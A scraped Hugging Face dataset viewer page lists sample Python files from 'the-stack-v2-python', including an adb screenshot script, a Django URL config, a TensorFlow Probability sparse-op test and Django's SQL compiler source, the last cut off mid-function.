Reset23/the-stack-v2-python · Datasets at Hugging Face

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1998Don/ledi_git

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import os import time class ScreenRobot: def screen(self,count): # 截屏 os.system(f"adb shell screencap -p /sdcard/{count}.png") if __name__ == '__main__': count = 1 robot = ScreenRobot() while True: try: robot.screen(count) os.system(f"adb pull -a /sdcard/{count}.png") print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())), f'picture{count}.png') time.sleep(0.5) count += 1 except: break

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winex888/federation_graphql

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import logging from schema_registry.api.models import db from schema_registry.conf import settings async def init_db(_app) -> None: """ Инициализация подключения к бд """ logging.info('Подключение к БД... ({db_dsn})'.format(db_dsn=settings.DB_DSN)) await db.set_bind( settings.DB_DSN, echo=settings.POSTGRES.echo, min_size=settings.POSTGRES.pool_min_size, max_size=settings.POSTGRES.pool_max_size, ssl=settings.POSTGRES.ssl, ) try: await db.scalar('select now()') logging.info('Подключение к БД прошло успешно') except ConnectionRefusedError as ex: logging.error( 'Ошибка подключение к БД... ({db_dsn}), ошибка: {errors}'.format( db_dsn=settings.DB_DSN, errors=ex.strerror, ), ) async def close_db(_app) -> None: """ Отключение подключения к бд """ logging.info('Отключение подключения к базе дынных...') await db.pop_bind().close()

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winex888@mail.ru

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/app/urls.py

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SusanaPavez/ninja-gold

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from django.urls import path from . import views urlpatterns = [ path('', views.index), path('juegos/' , views.juego), path('reset/', views.reset), ]

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vjs3/playing-with-flask

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/Users/vjs3/miniconda3/lib/python3.6/keyword.py

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/pardus/tags/2007/desktop/kde/autostart/actions.py

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aligulle1/kuller

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#!/usr/bin/python # -*- coding: utf-8 -*- # # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/copyleft/gpl.txt. from pisi.actionsapi import kde def setup(): kde.configure() def build(): kde.make() def install(): kde.install()

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camvi/sample

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email_options = { "from_addr": '', "from_addr_password": '', "smtp_server": '', "smtp_port": 587, "ssl": False, "to_addr": "", "enabled": False } twilio_options = { 'sid': '', 'token': '', 'phone': '', 'to_phone': "", "enabled": False } camvi_options = { "ip": 'localhost', "port": '8080', "username": 'admin', "password": 'admin' }

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/tensorflow_probability/python/math/sparse_test.py

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tarrou/probability

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# Copyright 2018 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """Tests for sparse ops.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function # Dependency imports import numpy as np import tensorflow.compat.v1 as tf1 import tensorflow.compat.v2 as tf import tensorflow_probability as tfp from tensorflow_probability.python.internal import test_case from tensorflow.python.framework import test_util # pylint: disable=g-direct-tensorflow-import def _assert_sparse_tensor_value(test_case_instance, expected, actual): test_case_instance.assertEqual(np.int64, np.array(actual.indices).dtype) test_case_instance.assertAllEqual(expected.indices, actual.indices) test_case_instance.assertEqual( np.array(expected.values).dtype, np.array(actual.values).dtype) test_case_instance.assertAllEqual(expected.values, actual.values) test_case_instance.assertEqual(np.int64, np.array(actual.dense_shape).dtype) test_case_instance.assertAllEqual(expected.dense_shape, actual.dense_shape) @test_util.run_all_in_graph_and_eager_modes class SparseTest(test_case.TestCase): # Copied (with modifications) from: # tensorflow/contrib/layers/python/ops/sparse_ops.py. def test_dense_to_sparse_1d(self): st = tfp.math.dense_to_sparse([1, 0, 2, 0]) result = self.evaluate(st) self.assertEqual(result.indices.dtype, np.int64) self.assertEqual(result.values.dtype, np.int32) self.assertEqual(result.dense_shape.dtype, np.int64) self.assertAllEqual([[0], [2]], result.indices) self.assertAllEqual([1, 2], result.values) self.assertAllEqual([4], result.dense_shape) def test_dense_to_sparse_1d_float(self): st = tfp.math.dense_to_sparse([1.5, 0.0, 2.3, 0.0]) result = self.evaluate(st) self.assertEqual(result.indices.dtype, np.int64) self.assertEqual(result.values.dtype, np.float32) self.assertEqual(result.dense_shape.dtype, np.int64) self.assertAllEqual([[0], [2]], result.indices) self.assertAllClose([1.5, 2.3], result.values) self.assertAllEqual([4], result.dense_shape) def test_dense_to_sparse_1d_bool(self): st = tfp.math.dense_to_sparse([True, False, True, False]) result = self.evaluate(st) self.assertEqual(result.indices.dtype, np.int64) self.assertEqual(result.values.dtype, np.bool) self.assertEqual(result.dense_shape.dtype, np.int64) self.assertAllEqual([[0], [2]], result.indices) self.assertAllEqual([True, True], result.values) self.assertAllEqual([4], result.dense_shape) def test_dense_to_sparse_1d_str(self): st = tfp.math.dense_to_sparse([b'qwe', b'', b'ewq', b'']) result = self.evaluate(st) self.assertEqual(result.indices.dtype, np.int64) self.assertEqual(result.values.dtype, np.object) self.assertEqual(result.dense_shape.dtype, np.int64) self.assertAllEqual([[0], [2]], result.indices) self.assertAllEqual([b'qwe', b'ewq'], result.values) self.assertAllEqual([4], result.dense_shape) def test_dense_to_sparse_1d_str_special_ignore(self): st = tfp.math.dense_to_sparse( [b'qwe', b'', b'ewq', b''], ignore_value=b'qwe') result = self.evaluate(st) self.assertEqual(result.indices.dtype, np.int64) self.assertEqual(result.values.dtype, np.object) self.assertEqual(result.dense_shape.dtype, np.int64) self.assertAllEqual([[1], [2], [3]], result.indices) self.assertAllEqual([b'', b'ewq', b''], result.values) self.assertAllEqual([4], result.dense_shape) def test_dense_to_sparse_2d(self): st = tfp.math.dense_to_sparse([[1, 2, 0, 0], [3, 4, 5, 0]]) result = self.evaluate(st) self.assertAllEqual([[0, 0], [0, 1], [1, 0], [1, 1], [1, 2]], result.indices) self.assertAllEqual([1, 2, 3, 4, 5], result.values) self.assertAllEqual([2, 4], result.dense_shape) def test_dense_to_sparse_3d(self): st = tfp.math.dense_to_sparse( [[[1, 2, 0, 0], [3, 4, 5, 0]], [[7, 8, 0, 0], [9, 0, 0, 0]]]) result = self.evaluate(st) self.assertAllEqual( [[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1, 0, 0], [1, 0, 1], [1, 1, 0]], result.indices) self.assertAllEqual([1, 2, 3, 4, 5, 7, 8, 9], result.values) self.assertAllEqual([2, 2, 4], result.dense_shape) def test_dense_to_sparse_unknown_1d_shape(self): tensor = tf1.placeholder_with_default( np.array([0, 100, 0, 3], np.int32), shape=[None]) st = tfp.math.dense_to_sparse(tensor) result = self.evaluate(st) self.assertAllEqual([[1], [3]], result.indices) self.assertAllEqual([100, 3], result.values) self.assertAllEqual([4], result.dense_shape) def test_dense_to_sparse_unknown_3d_shape(self): tensor = tf1.placeholder_with_default( np.array([[[1, 2, 0, 0], [3, 4, 5, 0]], [[7, 8, 0, 0], [9, 0, 0, 0]]], np.int32), shape=[None, None, None]) st = tfp.math.dense_to_sparse(tensor) result = self.evaluate(st) self.assertAllEqual( [[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1, 0, 0], [1, 0, 1], [1, 1, 0]], result.indices) self.assertAllEqual([1, 2, 3, 4, 5, 7, 8, 9], result.values) self.assertAllEqual([2, 2, 4], result.dense_shape) def test_dense_to_sparse_unknown_rank(self): ph = tf1.placeholder_with_default( np.array([[1, 2, 0, 0], [3, 4, 5, 0]], np.int32), shape=None) st = tfp.math.dense_to_sparse(ph) result = self.evaluate(st) self.assertAllEqual( [[0, 0], [0, 1], [1, 0], [1, 1], [1, 2]], result.indices) self.assertAllEqual([1, 2, 3, 4, 5], result.values) self.assertAllEqual([2, 4], result.dense_shape) if __name__ == '__main__': tf.test.main()

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/web/env/lib/python3.6/site-packages/django/db/models/sql/compiler.py

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import collections import functools import re import warnings from itertools import chain from django.core.exceptions import EmptyResultSet, FieldError from django.db.models.constants import LOOKUP_SEP from django.db.models.expressions import OrderBy, Random, RawSQL, Ref from django.db.models.query_utils import QueryWrapper, select_related_descend from django.db.models.sql.constants import ( CURSOR, GET_ITERATOR_CHUNK_SIZE, MULTI, NO_RESULTS, ORDER_DIR, SINGLE, ) from django.db.models.sql.query import Query, get_order_dir from django.db.transaction import TransactionManagementError from django.db.utils import DatabaseError, NotSupportedError from django.utils.deprecation import RemovedInDjango30Warning from django.utils.inspect import func_supports_parameter FORCE = object() class SQLCompiler: def __init__(self, query, connection, using): self.query = query self.connection = connection self.using = using self.quote_cache = {'*': '*'} # The select, klass_info, and annotations are needed by QuerySet.iterator() # these are set as a side-effect of executing the query. Note that we calculate # separately a list of extra select columns needed for grammatical correctness # of the query, but these columns are not included in self.select. self.select = None self.annotation_col_map = None self.klass_info = None self.ordering_parts = re.compile(r'(.*)\s(ASC|DESC)(.*)') def setup_query(self): if all(self.query.alias_refcount[a] == 0 for a in self.query.alias_map): self.query.get_initial_alias() self.select, self.klass_info, self.annotation_col_map = self.get_select() self.col_count = len(self.select) def pre_sql_setup(self): """ Do any necessary class setup immediately prior to producing SQL. This is for things that can't necessarily be done in __init__ because we might not have all the pieces in place at that time. """ self.setup_query() order_by = self.get_order_by() self.where, self.having = self.query.where.split_having() extra_select = self.get_extra_select(order_by, self.select) self.has_extra_select = bool(extra_select) group_by = self.get_group_by(self.select + extra_select, order_by) return extra_select, order_by, group_by def get_group_by(self, select, order_by): """ Return a list of 2-tuples of form (sql, params). The logic of what exactly the GROUP BY clause contains is hard to describe in other words than "if it passes the test suite, then it is correct". """ # Some examples: # SomeModel.objects.annotate(Count('somecol')) # GROUP BY: all fields of the model # # SomeModel.objects.values('name').annotate(Count('somecol')) # GROUP BY: name # # SomeModel.objects.annotate(Count('somecol')).values('name') # GROUP BY: all cols of the model # # SomeModel.objects.values('name', 'pk').annotate(Count('somecol')).values('pk') # GROUP BY: name, pk # # SomeModel.objects.values('name').annotate(Count('somecol')).values('pk') # GROUP BY: name, pk # # In fact, the self.query.group_by is the minimal set to GROUP BY. It # can't be ever restricted to a smaller set, but additional columns in # HAVING, ORDER BY, and SELECT clauses are added to it. Unfortunately # the end result is that it is impossible to force the query to have # a chosen GROUP BY clause - you can almost do this by using the form: # .values(*wanted_cols).annotate(AnAggregate()) # but any later annotations, extra selects, values calls that # refer some column outside of the wanted_cols, order_by, or even # filter calls can alter the GROUP BY clause. # The query.group_by is either None (no GROUP BY at all), True # (group by select fields), or a list of expressions to be added # to the group by. if self.query.group_by is None: return [] expressions = [] if self.query.group_by is not True: # If the group by is set to a list (by .values() call most likely), # then we need to add everything in it to the GROUP BY clause. # Backwards compatibility hack for setting query.group_by. Remove # when we have public API way of forcing the GROUP BY clause. # Converts string references to expressions. for expr in self.query.group_by: if not hasattr(expr, 'as_sql'): expressions.append(self.query.resolve_ref(expr)) else: expressions.append(expr) # Note that even if the group_by is set, it is only the minimal # set to group by. So, we need to add cols in select, order_by, and # having into the select in any case. for expr, _, _ in select: cols = expr.get_group_by_cols() for col in cols: expressions.append(col) for expr, (sql, params, is_ref) in order_by: # Skip References to the select clause, as all expressions in the # select clause are already part of the group by. if not expr.contains_aggregate and not is_ref: expressions.extend(expr.get_source_expressions()) having_group_by = self.having.get_group_by_cols() if self.having else () for expr in having_group_by: expressions.append(expr) result = [] seen = set() expressions = self.collapse_group_by(expressions, having_group_by) for expr in expressions: sql, params = self.compile(expr) if (sql, tuple(params)) not in seen: result.append((sql, params)) seen.add((sql, tuple(params))) return result def collapse_group_by(self, expressions, having): # If the DB can group by primary key, then group by the primary key of # query's main model. Note that for PostgreSQL the GROUP BY clause must # include the primary key of every table, but for MySQL it is enough to # have the main table's primary key. if self.connection.features.allows_group_by_pk: # Determine if the main model's primary key is in the query. pk = None for expr in expressions: # Is this a reference to query's base table primary key? If the # expression isn't a Col-like, then skip the expression. if (getattr(expr, 'target', None) == self.query.model._meta.pk and getattr(expr, 'alias', None) == self.query.base_table): pk = expr break # If the main model's primary key is in the query, group by that # field, HAVING expressions, and expressions associated with tables # that don't have a primary key included in the grouped columns. if pk: pk_aliases = { expr.alias for expr in expressions if hasattr(expr, 'target') and expr.target.primary_key } expressions = [pk] + [ expr for expr in expressions if expr in having or ( getattr(expr, 'alias', None) is not None and expr.alias not in pk_aliases ) ] elif self.connection.features.allows_group_by_selected_pks: # Filter out all expressions associated with a table's primary key # present in the grouped columns. This is done by identifying all # tables that have their primary key included in the grouped # columns and removing non-primary key columns referring to them. # Unmanaged models are excluded because they could be representing # database views on which the optimization might not be allowed. pks = { expr for expr in expressions if hasattr(expr, 'target') and expr.target.primary_key and expr.target.model._meta.managed } aliases = {expr.alias for expr in pks} expressions = [ expr for expr in expressions if expr in pks or getattr(expr, 'alias', None) not in aliases ] return expressions def get_select(self): """ Return three values: - a list of 3-tuples of (expression, (sql, params), alias) - a klass_info structure, - a dictionary of annotations The (sql, params) is what the expression will produce, and alias is the "AS alias" for the column (possibly None). The klass_info structure contains the following information: - The base model of the query. - Which columns for that model are present in the query (by position of the select clause). - related_klass_infos: [f, klass_info] to descent into The annotations is a dictionary of {'attname': column position} values. """ select = [] klass_info = None annotations = {} select_idx = 0 for alias, (sql, params) in self.query.extra_select.items(): annotations[alias] = select_idx select.append((RawSQL(sql, params), alias)) select_idx += 1 assert not (self.query.select and self.query.default_cols) if self.query.default_cols: cols = self.get_default_columns() else: # self.query.select is a special case. These columns never go to # any model. cols = self.query.select if cols: select_list = [] for col in cols: select_list.append(select_idx) select.append((col, None)) select_idx += 1 klass_info = { 'model': self.query.model, 'select_fields': select_list, } for alias, annotation in self.query.annotation_select.items(): annotations[alias] = select_idx select.append((annotation, alias)) select_idx += 1 if self.query.select_related: related_klass_infos = self.get_related_selections(select) klass_info['related_klass_infos'] = related_klass_infos def get_select_from_parent(klass_info): for ki in klass_info['related_klass_infos']: if ki['from_parent']: ki['select_fields'] = (klass_info['select_fields'] + ki['select_fields']) get_select_from_parent(ki) get_select_from_parent(klass_info) ret = [] for col, alias in select: try: sql, params = self.compile(col, select_format=True) except EmptyResultSet: # Select a predicate that's always False. sql, params = '0', () ret.append((col, (sql, params), alias)) return ret, klass_info, annotations def get_order_by(self): """ Return a list of 2-tuples of form (expr, (sql, params, is_ref)) for the ORDER BY clause. The order_by clause can alter the select clause (for example it can add aliases to clauses that do not yet have one, or it can add totally new select clauses). """ if self.query.extra_order_by: ordering = self.query.extra_order_by elif not self.query.default_ordering: ordering = self.query.order_by else: ordering = (self.query.order_by or self.query.get_meta().ordering or []) if self.query.standard_ordering: asc, desc = ORDER_DIR['ASC'] else: asc, desc = ORDER_DIR['DESC'] order_by = [] for field in ordering: if hasattr(field, 'resolve_expression'): if not isinstance(field, OrderBy): field = field.asc() if not self.query.standard_ordering: field.reverse_ordering() order_by.append((field, False)) continue if field == '?': # random order_by.append((OrderBy(Random()), False)) continue col, order = get_order_dir(field, asc) descending = order == 'DESC' if col in self.query.annotation_select: # Reference to expression in SELECT clause order_by.append(( OrderBy(Ref(col, self.query.annotation_select[col]), descending=descending), True)) continue if col in self.query.annotations: # References to an expression which is masked out of the SELECT clause order_by.append(( OrderBy(self.query.annotations[col], descending=descending), False)) continue if '.' in field: # This came in through an extra(order_by=...) addition. Pass it # on verbatim. table, col = col.split('.', 1) order_by.append(( OrderBy( RawSQL('%s.%s' % (self.quote_name_unless_alias(table), col), []), descending=descending ), False)) continue if not self.query._extra or col not in self.query._extra: # 'col' is of the form 'field' or 'field1__field2' or # '-field1__field2__field', etc. order_by.extend(self.find_ordering_name( field, self.query.get_meta(), default_order=asc)) else: if col not in self.query.extra_select: order_by.append(( OrderBy(RawSQL(*self.query.extra[col]), descending=descending), False)) else: order_by.append(( OrderBy(Ref(col, RawSQL(*self.query.extra[col])), descending=descending), True)) result = [] seen = set() for expr, is_ref in order_by: if self.query.combinator: src = expr.get_source_expressions()[0] # Relabel order by columns to raw numbers if this is a combined # query; necessary since the columns can't be referenced by the # fully qualified name and the simple column names may collide. for idx, (sel_expr, _, col_alias) in enumerate(self.select): if is_ref and col_alias == src.refs: src = src.source elif col_alias: continue if src == sel_expr: expr.set_source_expressions([RawSQL('%d' % (idx + 1), ())]) break else: raise DatabaseError('ORDER BY term does not match any column in the result set.') resolved = expr.resolve_expression( self.query, allow_joins=True, reuse=None) sql, params = self.compile(resolved) # Don't add the same column twice, but the order direction is # not taken into account so we strip it. When this entire method # is refactored into expressions, then we can check each part as we # generate it. without_ordering = self.ordering_parts.search(sql).group(1) if (without_ordering, tuple(params)) in seen: continue seen.add((without_ordering, tuple(params))) result.append((resolved, (sql, params, is_ref))) return result def get_extra_select(self, order_by, select): extra_select = [] if self.query.distinct and not self.query.distinct_fields: select_sql = [t[1] for t in select] for expr, (sql, params, is_ref) in order_by: without_ordering = self.ordering_parts.search(sql).group(1) if not is_ref and (without_ordering, params) not in select_sql: extra_select.append((expr, (without_ordering, params), None)) return extra_select def quote_name_unless_alias(self, name): """ A wrapper around connection.ops.quote_name that doesn't quote aliases for table names. This avoids problems with some SQL dialects that treat quoted strings specially (e.g. PostgreSQL). """ if name in self.quote_cache: return self.quote_cache[name] if ((name in self.query.alias_map and name not in self.query.table_map) or name in self.query.extra_select or ( name in self.query.external_aliases and name not in self.query.table_map)): self.quote_cache[name] = name return name r = self.connection.ops.quote_name(name) self.quote_cache[name] = r return r def compile(self, node, select_format=False): vendor_impl = getattr(node, 'as_' + self.connection.vendor, None) if vendor_impl: sql, params = vendor_impl(self, self.connection) else: sql, params = node.as_sql(self, self.connection) if select_format is FORCE or (select_format and not self.query.subquery): return node.output_field.select_format(self, sql, params) return sql, params def get_combinator_sql(self, combinator, all): features = self.connection.features compilers = [ query.get_compiler(self.using, self.connection) for query in self.query.combined_queries if not query.is_empty() ] if not features.supports_slicing_ordering_in_compound: for query, compiler in zip(self.query.combined_queries, compilers): if query.low_mark or query.high_mark: raise DatabaseError('LIMIT/OFFSET not allowed in subqueries of compound statements.') if compiler.get_order_by(): raise DatabaseError('ORDER BY not allowed in subqueries of compound statements.') parts = () for compiler in compilers: try: # If the columns list is limited, then all combined queries # must have the same columns list. Set the selects defined on # the query on all combined queries, if not already set. if not compiler.query.values_select and self.query.values_select: compiler.query.set_values(( *self.query.extra_select, *self.query.values_select, *self.query.annotation_select, )) parts += (compiler.as_sql(),) except EmptyResultSet: # Omit the empty queryset with UNION and with DIFFERENCE if the # first queryset is nonempty. if combinator == 'union' or (combinator == 'difference' and parts): continue raise if not parts: raise EmptyResultSet combinator_sql = self.connection.ops.set_operators[combinator] if all and combinator == 'union': combinator_sql += ' ALL' braces = '({})' if features.supports_slicing_ordering_in_compound else '{}' sql_parts, args_parts = zip(*((braces.format(sql), args) for sql, args in parts)) result = [' {} '.format(combinator_sql).join(sql_parts)] params = [] for part in args_parts: params.extend(part) return result, params def as_sql(self, with_limits=True, with_col_aliases=False): """ Create the SQL for this query. Return the SQL string and list of parameters. If 'with_limits' is False, any limit/offset information is not included in the query. """ refcounts_before = self.query.alias_refcount.copy() try: extra_select, order_by, group_by = self.pre_sql_setup() for_update_part = None # Is a LIMIT/OFFSET clause needed? with_limit_offset = with_limits and (self.query.high_mark is not None or self.query.low_mark) combinator = self.query.combinator features = self.connection.features if combinator: if not getattr(features, 'supports_select_{}'.format(combinator)): raise NotSupportedError('{} is not supported on this database backend.'.format(combinator)) result, params = self.get_combinator_sql(combinator, self.query.combinator_all) else: distinct_fields, distinct_params = self.get_distinct() # This must come after 'select', 'ordering', and 'distinct' # (see docstring of get_from_clause() for details). from_, f_params = self.get_from_clause() where, w_params = self.compile(self.where) if self.where is not None else ("", []) having, h_params = self.compile(self.having) if self.having is not None else ("", []) result = ['SELECT'] params = [] if self.query.distinct: distinct_result, distinct_params = self.connection.ops.distinct_sql( distinct_fields, distinct_params, ) result += distinct_result params += distinct_params out_cols = [] col_idx = 1 for _, (s_sql, s_params), alias in self.select + extra_select: if alias: s_sql = '%s AS %s' % (s_sql, self.connection.ops.quote_name(alias)) elif with_col_aliases: s_sql = '%s AS %s' % (s_sql, 'Col%d' % col_idx) col_idx += 1 params.extend(s_params) out_cols.append(s_sql) result += [', '.join(out_cols), 'FROM', *from_] params.extend(f_params) if self.query.select_for_update and self.connection.features.has_select_for_update: if self.connection.get_autocommit(): raise TransactionManagementError('select_for_update cannot be used outside of a transaction.') if with_limit_offset and not self.connection.features.supports_select_for_update_with_limit: raise NotSupportedError( 'LIMIT/OFFSET is not supported with ' 'select_for_update on this database backend.' ) nowait = self.query.select_for_update_nowait skip_locked = self.query.select_for_update_skip_locked of = self.query.select_for_update_of # If it's a NOWAIT/SKIP LOCKED/OF query but the backend # doesn't support it, raise NotSupportedError to prevent a # possible deadlock. if nowait and not self.connection.features.has_select_for_update_nowait: raise NotSupportedError('NOWAIT is not supported on this database backend.') elif skip_locked and not self.connection.features.has_select_for_update_skip_locked: raise NotSupportedError('SKIP LOCKED is not supported on this database backend.') elif of and not self.connection.features.has_select_for_update_of: raise NotSupportedError('FOR UPDATE OF is not supported on this database backend.') for_update_part = self.connection.ops.for_update_sql( nowait=nowait, skip_locked=skip_locked, of=self.get_select_for_update_of_arguments(), ) if for_update_part and self.connection.features.for_update_after_from: result.append(for_update_part) if where: result.append('WHERE %s' % where) params.extend(w_params) grouping = [] for g_sql, g_params in group_by: grouping.append(g_sql) params.extend(g_params) if grouping: if distinct_fields: raise NotImplementedError('annotate() + distinct(fields) is not implemented.') order_by = order_by or self.connection.ops.force_no_ordering() result.append('GROUP BY %s' % ', '.join(grouping)) if having: result.append('HAVING %s' % having) params.extend(h_params) if self.query.explain_query: result.insert(0, self.connection.ops.explain_query_prefix( self.query.explain_format, **self.query.explain_options )) if order_by: ordering = [] for _, (o_sql, o_params, _) in order_by: ordering.append(o_sql) params.extend(o_params) result.append('ORDER BY %s' % ', '.join(ordering)) if with_limit_offset: result.append(self.connection.ops.limit_offset_sql(self.query.low_mark, self.query.high_mark)) if for_update_part and not self.connection.features.for_update_after_from: result.append(for_update_part) if self.query.subquery and extra_select: # If the query is used as a subquery, the extra selects would # result in more columns than the left-hand side expression is # expecting. This can happen when a subquery uses a combination # of order_by() and distinct(), forcing the ordering expressions # to be selected as well. Wrap the query in another subquery # to exclude extraneous selects. sub_selects = [] sub_params = [] for index, (select, _, alias) in enumerate(self.select, start=1): if not alias and with_col_aliases: alias = 'col%d' % index if alias: sub_selects.append("%s.%s" % ( self.connection.ops.quote_name('subquery'), self.connection.ops.quote_name(alias), )) else: select_clone = select.relabeled_clone({select.alias: 'subquery'}) subselect, subparams = select_clone.as_sql(self, self.connection) sub_selects.append(subselect) sub_params.extend(subparams) return 'SELECT %s FROM (%s) subquery' % ( ', '.join(sub_selects), ' '.join(result), ), tuple(sub_params + params) return ' '.join(result), tuple(params) finally: # Finally do cleanup - get rid of the joins we created above. self.query.reset_refcounts(refcounts_before) def get_default_columns(self, start_alias=None, opts=None, from_parent=None): """ Compute the default columns for selecting every field in the base model. Will sometimes be called to pull in related models (e.g. via select_related), in which case "opts" and "start_alias" will be given to provide a starting point for the traversal. Return a list of strings, quoted appropriately for use in SQL directly, as well as a set of aliases used in the select statement (if 'as_pairs' is True, return a list of (alias, col_name) pairs instead of strings as the first component and None as the second component). """ result = [] if opts is None: opts = self.query.get_meta() only_load = self.deferred_to_columns() start_alias = start_alias or self.query.get_initial_alias() # The 'seen_models' is used to optimize checking the needed parent # alias for a given field. This also includes None -> start_alias to # be used by local fields. seen_models = {None: start_alias} for field in opts.concrete_fields: model = field.model._meta.concrete_model # A proxy model will have a different model and concrete_model. We # will assign None if the field belongs to this model. if model == opts.model: model = None if from_parent and model is not None and issubclass( from_parent._meta.concrete_model, model._meta.concrete_model): # Avoid loading data for already loaded parents. # We end up here in the case select_related() resolution # proceeds from parent model to child model. In that case the # parent model data is already present in the SELECT clause, # and we want to avoid reloading the same data again. continue if field.model in only_load and field.attname not in only_load[field.model]: continue alias = self.query.join_parent_model(opts, model, start_alias, seen_models) column = field.get_col(alias) result.append(column) return result def get_distinct(self): """ Return a quoted list of fields to use in DISTINCT ON part of the query. This method can alter the tables in the query, and thus it must be called before get_from_clause(). """ result = [] params = [] opts = self.query.get_meta() for name in self.query.distinct_fields: parts = name.split(LOOKUP_SEP) _, targets, alias, joins, path, _, transform_function = self._setup_joins(parts, opts, None) targets, alias, _ = self.query.trim_joins(targets, joins, path) for target in targets: if name in self.query.annotation_select: result.append(name) else: r, p = self.compile(transform_function(target, alias)) result.append(r) params.append(p) return result, params def find_ordering_name(self, name, opts, alias=None, default_order='ASC', already_seen=None): """ Return the table alias (the name might be ambiguous, the alias will not be) and column name for ordering by the given 'name' parameter. The 'name' is of the form 'field1__field2__...__fieldN'. """ name, order = get_order_dir(name, default_order) descending = order == 'DESC' pieces = name.split(LOOKUP_SEP) field, targets, alias, joins, path, opts, transform_function = self._setup_joins(pieces, opts, alias) # If we get to this point and the field is a relation to another model, # append the default ordering for that model unless the attribute name # of the field is specified. if field.is_relation and opts.ordering and getattr(field, 'attname', None) != name: # Firstly, avoid infinite loops. already_seen = already_seen or set() join_tuple = tuple(getattr(self.query.alias_map[j], 'join_cols', None) for j in joins) if join_tuple in already_seen: raise FieldError('Infinite loop caused by ordering.') already_seen.add(join_tuple) results = [] for item in opts.ordering: results.extend(self.find_ordering_name(item, opts, alias, order, already_seen)) return results targets, alias, _ = self.query.trim_joins(targets, joins, path) return [(OrderBy(transform_function(t, alias), descending=descending), False) for t in targets] def _setup_joins(self, pieces, opts, alias): """ Helper method for get_order_by() and get_distinct(). get_ordering() and get_distinct() must produce same target columns on same input, as the prefixes of get_ordering() and get_distinct() must match. Executing SQL where this is not true is an error. """ alias = alias or self.query.get_initial_alias() field, targets, opts, joins, path, transform_function = self.query.setup_joins(pieces, opts, alias) alias = joins[-1] return field, targets, alias, joins, path, opts, transform_function def get_from_clause(self): """ Return a list of strings that are joined together to go after the "FROM" part of the query, as well as a list any extra parameters that need to be included. Subclasses, can override this to create a from-clause via a "select". This should only be called after any SQL construction methods that might change the tables that are needed. This means the select columns, ordering, and distinct must be done first. """ result = [] params = [] for alias in tuple(self.query.alias_map): if not self.query.alias_refcount[alias]: continue try: from_clause = self.query.alias_map[alias] except KeyError: # Extra tables can end up in self.tables, but not in the # alias_map if they aren't in a join. That's OK. We skip them. continue clause_sql, clause_params = self.compile(from_clause) result.append(clause_sql) params.extend(clause_params) for t in self.query.extra_tables: alias, _ = self.query.table_alias(t) # Only add the alias if it's not already present (the table_alias() # call increments the refcount, so an alias refcount of one means # this is the only reference). if alias not in self.query.alias_map or self.query.alias_refcount[alias] == 1: result.append(', %s' % self.quote_name_unless_alias(alias)) return result, params def get_related_selections(self, select, opts=None, root_alias=None, cur_depth=1, requested=None, restricted=None): """ Fill in the information needed for a select_related query. The current depth is measured as the number of connections away from the root model (for example, cur_depth=1 means we are looking at models with direct connections to the root model). """ def _get_field_choices(): direct_choices = (f.name for f in opts.fields if f.is_relation) reverse_choices = ( f.field.related_query_name() for f in opts.related_objects if f.field.unique ) return chain(direct_choices, reverse_choices, self.query._filtered_relations) related_klass_infos = [] if not restricted and cur_depth > self.query.max_depth: # We've recursed far enough; bail out. return related_klass_infos if not opts: opts = self.query.get_meta() root_alias = self.query.get_initial_alias() only_load = self.query.get_loaded_field_names() # Setup for the case when only particular related fields should be # included in the related selection. fields_found = set() if requested is None: restricted = isinstance(self.query.select_related, dict) if restricted: requested = self.query.select_related def get_related_klass_infos(klass_info, related_klass_infos): klass_info['related_klass_infos'] = related_klass_infos for f in opts.fields: field_model = f.model._meta.concrete_model fields_found.add(f.name) if restricted: next = requested.get(f.name, {}) if not f.is_relation: # If a non-related field is used like a relation, # or if a single non-relational field is given. if next or f.name in requested: raise FieldError( "Non-relational field given in select_related: '%s'. " "Choices are: %s" % ( f.name, ", ".join(_get_field_choices()) or '(none)', ) ) else: next = False if not select_related_descend(f, restricted, requested, only_load.get(field_model)): continue klass_info = { 'model': f.remote_field.model, 'field': f, 'reverse': False, 'local_setter': f.set_cached_value, 'remote_setter': f.remote_field.set_cached_value if f.unique else lambda x, y: None, 'from_parent': False, } related_klass_infos.append(klass_info) select_fields = [] _, _, _, joins, _, _ = self.query.setup_joins( [f.name], opts, root_alias) alias = joins[-1] columns = self.get_default_columns(start_alias=alias, opts=f.remote_field.model._meta) for col in columns: select_fields.append(len(select)) select.append((col, None)) klass_info['select_fields'] = select_fields next_klass_infos = self.get_related_selections( select, f.remote_field.model._meta, alias, cur_depth + 1, next, restricted) get_related_klass_infos(klass_info, next_klass_infos) if restricted: related_fields = [ (o.field, o.related_model) for o in opts.related_objects if o.field.unique and not o.many_to_many ] for f, model in related_fields: if not select_related_descend(f, restricted, requested, only_load.get(model), reverse=True): continue related_field_name = f.related_query_name() fields_found.add(related_field_name) join_info = self.query.setup_joins([related_field_name], opts, root_alias) alias = join_info.joins[-1] from_parent = issubclass(model, opts.model) and model is not opts.model klass_info = { 'model': model, 'field': f, 'reverse': True, 'local_setter': f.remote_field.set_cached_value, 'remote_setter': f.set_cached_value, 'from_parent': from_parent, } related_klass_infos.append(klass_info) select_fields = [] columns = self.get_default_columns( start_alias=alias, opts=model._meta, from_parent=opts.model) for col in columns: select_fields.append(len(select)) select.append((col, None)) klass_info['select_fields'] = select_fields next = requested.get(f.related_query_name(), {}) next_klass_infos = self.get_related_selections( select, model._meta, alias, cur_depth + 1, next, restricted) get_related_klass_infos(klass_info, next_klass_infos) fields_not_found = set(requested).difference(fields_found) for name in list(requested): # Filtered relations work only on the topmost level. if cur_depth > 1: break if name in self.query._filtered_relations: fields_found.add(name) f, _, join_opts, joins, _, _ = self.query.setup_joins([name], opts, root_alias) model = join_opts.model alias = joins[-1] from_parent = issubclass(model, opts.model) and model is not opts.model def local_setter(obj, from_obj): f.remote_field.set_cached_value(from_obj, obj) def remote_setter(obj, from_obj): setattr(from_obj, name, 